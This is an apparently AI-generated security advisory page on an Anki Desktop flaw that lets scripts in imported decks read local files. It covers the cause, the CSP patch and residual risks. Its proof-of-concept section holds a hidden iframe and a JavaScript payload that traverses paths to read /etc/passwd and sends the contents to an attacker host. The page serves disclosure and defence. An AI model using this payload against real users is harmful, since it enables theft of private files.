CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-CW6H-FFMH-X6VH

GHSA-CW6H-FFMH-X6VH: Arbitrary Local File Disclosure via Same-Origin Policy Bypass in Anki Desktop

Alon Barad
Alon Barad
Software Engineer

Jun 22, 2026·4 min read·6 visits

Executive Summary (TL;DR)

User-supplied HTML and SVG files within imported Anki decks can bypass Same-Origin Policy protections inside Anki's local media server, enabling unauthenticated reads of sensitive local files and immediate out-of-band data exfiltration.

Anki Desktop for Windows, macOS, and Linux is vulnerable to local file disclosure and data exfiltration due to an iframe-based Same-Origin Policy (SOP) bypass. Maliciously crafted user scripts inside imported deck files run within the localhost context, bypassing security filters to query internal endpoints and read arbitrary system files.

Vulnerability Overview

Anki Desktop utilizes an embedded browser framework based on QtWebEngine to render flashcards. To facilitate rendering media assets and communicating with the core Rust backend, Anki executes a local WSGI HTTP server (mediasrv.py) driven by Waitress. This server binds to the localhost interface on a dynamically selected TCP port.

Because the browser interface processes arbitrary user-supplied card contents, Anki must enforce strict origin boundary controls. If user-submitted files execute within the same origin as the local management API, they gain access to restricted endpoints. This vulnerability permits untrusted resources to bridge the security boundary and read local configuration files, databases, or keys.

Root Cause Analysis

The root cause of GHSA-CW6H-FFMH-X6VH is the complete absence of a Content Security Policy (CSP) header on served media assets, coupled with shared origin execution. When a flashcard renders an HTML or SVG media element, the assets are loaded from the loopback address (e.g., http://127.0.0.1:port/media/file.html).

Because the parent page and the iframe share the exact same protocol, domain name, and port, they belong to the same origin. The browser's Same-Origin Policy permits scripts inside the frame to access the parent DOM structure and query internal APIs directly.

By leveraging endpoints such as getImageForOcclusion—which accepts paths and retrieves local disk resources without directory-traversal mitigation (CWE-22)—the script reads host files. The isolated origin context can then immediately transmit this retrieved information to external systems using simple cross-origin image requests.

Code Path Analysis

Prior to the implementation of the patch, the application server processed file requests inside _handle_local_file_request(req) without validating origin trust or appending security headers. The mitigation resolves this issue by introducing UNTRUSTED_MEDIA_CSP inside qt/aqt/mediasrv.py.

This policy restricts scripting, network requests, frame loading, and enforces a unique sandboxed environment.

# Defined sandbox CSP policy within the patched media server
UNTRUSTED_MEDIA_CSP = "; ".join([
    "default-src 'none'",
    "script-src 'none'",
    "connect-src 'none'",
    "object-src 'none'",
    "frame-src 'none'",
    "child-src 'none'",
    "base-uri 'none'",
    "form-action 'none'",
    "sandbox"  # Enforces an opaque, isolated origin
])

During file dispatch, the media server checks the request.untrusted flag and appends the policy to prevent script execution on active documents.

# Response generation with CSP header injection
response = flask.send_file(
    fullpath,
    mimetype=mimetype,
    conditional=True,
    max_age=max_age,
    download_name="foo"
)
if request.untrusted:
    response.headers["Content-Security-Policy"] = UNTRUSTED_MEDIA_CSP
return response

Exploitation and Proof-of-Concept

An attacker exploits this design flaw by preparing a custom deck archive containing a malicious page, payload.html, and a flashcard layout containing an invisible frame.

<iframe src="payload.html" style="display:none;" width="0" height="0"></iframe>

When loaded, payload.html executes JavaScript inside the local origin. The script calls the vulnerable endpoint, exploiting directory traversal to locate sensitive target directories.

async function exfil() {
    let fileRequest = await fetch('/_anki/getImageForOcclusion', {
        method: 'POST',
        headers: { 'Content-Type': 'application/binary' },
        body: JSON.stringify({ path: '../../../../../../../../../../etc/passwd' })
    });
    let content = await fileRequest.text();
    new Image().src = 'https://attacker.example.com/log?data=' + btoa(content);
}
exfil();

This script runs transparently whenever the card is viewed, leaking host files without raising errors or warnings to the user.

Impact Assessment

This vulnerability is classified as Medium severity with a CVSS 3.1 score of 6.5. Successful exploitation allows an attacker to retrieve any local document readable by the active user account.

Threat actors can target credentials, private keys, browser session stores, and internal program configurations. Because the execution engine retains outbound connection capabilities, the retrieved information can be sent immediately to external capture points.

The attack requires the target user to manually import a compromised deck, limiting direct automated exploitation vectors.

Patch Evaluation and Residual Risks

The introduction of UNTRUSTED_MEDIA_CSP successfully neutralizes immediate scripting execution paths. However, the traversal check in ensure_safe_path contains potential design limitations. The path verification checks are performed using os.path.abspath instead of resolving final files.

def ensure_safe_path(base_dir, path):
    base_dir = os.path.realpath(base_dir)
    path = os.path.normpath(path)
    fullpath = os.path.abspath(os.path.join(base_dir, path))
    if not fullpath.startswith(base_dir + os.sep):
        raise UnsafePathException(path)
    return fullpath

Because os.path.abspath does not resolve nested symbolic links, a zipped deck containing functional symbolic links could theoretically trigger an external file read when processed by the operating system file server.

Furthermore, HTTP GET queries triggered by HTML tags (such as <img>) do not carry Origin HTTP headers, which may expose GET-based administration parameters to Cross-Site Request Forgery (CSRF) attempts.

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10

Affected Systems

Anki Desktop for WindowsAnki Desktop for macOSAnki Desktop for Linuxaqt python module

Affected Versions Detail

Product
Affected Versions
Fixed Version
aqt
Anki
<= 25.09.325.09.4
AttributeDetail
CWE IDCWE-346 / CWE-22
Attack VectorNetwork
CVSS Score6.5
Exploit StatusProof-of-Concept Available
KEV StatusNot Listed

MITRE ATT&CK Mapping

T1203Exploitation for Client Execution
Execution
T1059.007JavaScript
Execution
T1083File and Directory Discovery
Discovery
T1213Data from Local System
Collection
T1048Exfiltration Over Alternative Protocol
Exfiltration

References & Sources

  • [1]GitHub Security Advisory GHSA-CW6H-FFMH-X6VH
  • [2]Anki Security Advisory for GHSA-cw6h-ffmh-x6vh
  • [3]Anki Fix Commit 8f39ce82d575434319e479bb94f43de28523c6eb

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•GHSA-6GQW-JQV7-V88M
7.2

GHSA-6GQW-JQV7-V88M: Multi-Tenant Isolation Bypass in stigmem-node via Missing SQL Tenant Predicates

A critical vulnerability exists in the stigmem-node package when running the opt-in stigmem-plugin-multi-tenant plugin. Due to a failure to enforce tenant-scoping filters on database queries within the decay sweep, quarantine moderation, and right-to-be-forgotten (RTBF) subsystems, an authorized caller belonging to one tenant can access, modify, and delete facts belonging to all other tenants. This broken object level authorization (BOLA) vulnerability allows cross-tenant data manipulation and information leakage.

Amit Schendel
Amit Schendel
5 views•6 min read
•about 6 hours ago•GHSA-V3F4-W7R7-V3HM
8.6

GHSA-v3f4-w7r7-v3hm: Remote Command Execution via Origin Validation Error in Uni-CLI Legacy HTTP Transport

An origin validation error and cross-site request forgery vulnerability in @zenalexa/unicli prior to version 0.225.2 allows cross-origin web applications to execute arbitrary tools on a user's local machine via the legacy stateless HTTP transport.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 6 hours ago•GHSA-C795-2G9C-J48M
8.2

GHSA-C795-2G9C-J48M: Remote Path Traversal and Arbitrary File Write in EverOS Memory Ingestion

EverOS versions 1.0.0 and earlier contain a path traversal vulnerability in the user memory ingestion endpoint. By exploiting this flaw, unauthenticated network attackers can escape the designated database memory root and write arbitrary Markdown files to target directories on the local system.

Alon Barad
Alon Barad
5 views•6 min read
•about 7 hours ago•GHSA-X975-RGX4-5FH4
8.2

GHSA-X975-RGX4-5FH4: Unescaped Locator Data Cross-Site Scripting in appium-mcp MCP-UI Resource

GHSA-X975-RGX4-5FH4 is a high-severity Cross-Site Scripting (XSS) vulnerability residing in the Model Context Protocol (MCP) User Interface (UI) component of appium-mcp, an NPM package integrating Appium with MCP clients. The flaw exists within the createLocatorGeneratorUI utility function, which renders UI metadata directly into an HTML template page without performing sanitization or encoding. Because MCP clients use window.parent.postMessage to send commands from the UI to the host, this XSS can be escalated to trigger arbitrary MCP tool calls, potentially leading to Remote Code Execution (RCE) on the host running the MCP client.

Alon Barad
Alon Barad
7 views•6 min read
•about 7 hours ago•GHSA-H3M5-97JQ-QJRF
9.6

GHSA-H3M5-97JQ-QJRF: Insecure Direct Object Reference (IDOR) Cross-Realm Bulk Alarm Deletion in OpenRemote Manager

An Insecure Direct Object Reference (IDOR) and missing authorization flaw in OpenRemote Manager allows an authenticated, low-privilege multi-tenant user to execute cross-realm bulk alarm deletion, resulting in permanent destruction of safety-critical alarms belonging to other tenants.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 8 hours ago•GHSA-WVRH-2F4M-924V
5.5

GHSA-wvrh-2f4m-924v: Symlink-Following Arbitrary File Write in ChatterBot UbuntuCorpusTrainer

An insecure file extraction vulnerability exists in the UbuntuCorpusTrainer component of the ChatterBot package. Due to a combination of a predictable download path, a check-then-create directory pattern, and unvalidated symbolic link resolution during archive extraction, local attackers can write arbitrary files to restricted filesystem paths.

Amit Schendel
Amit Schendel
6 views•6 min read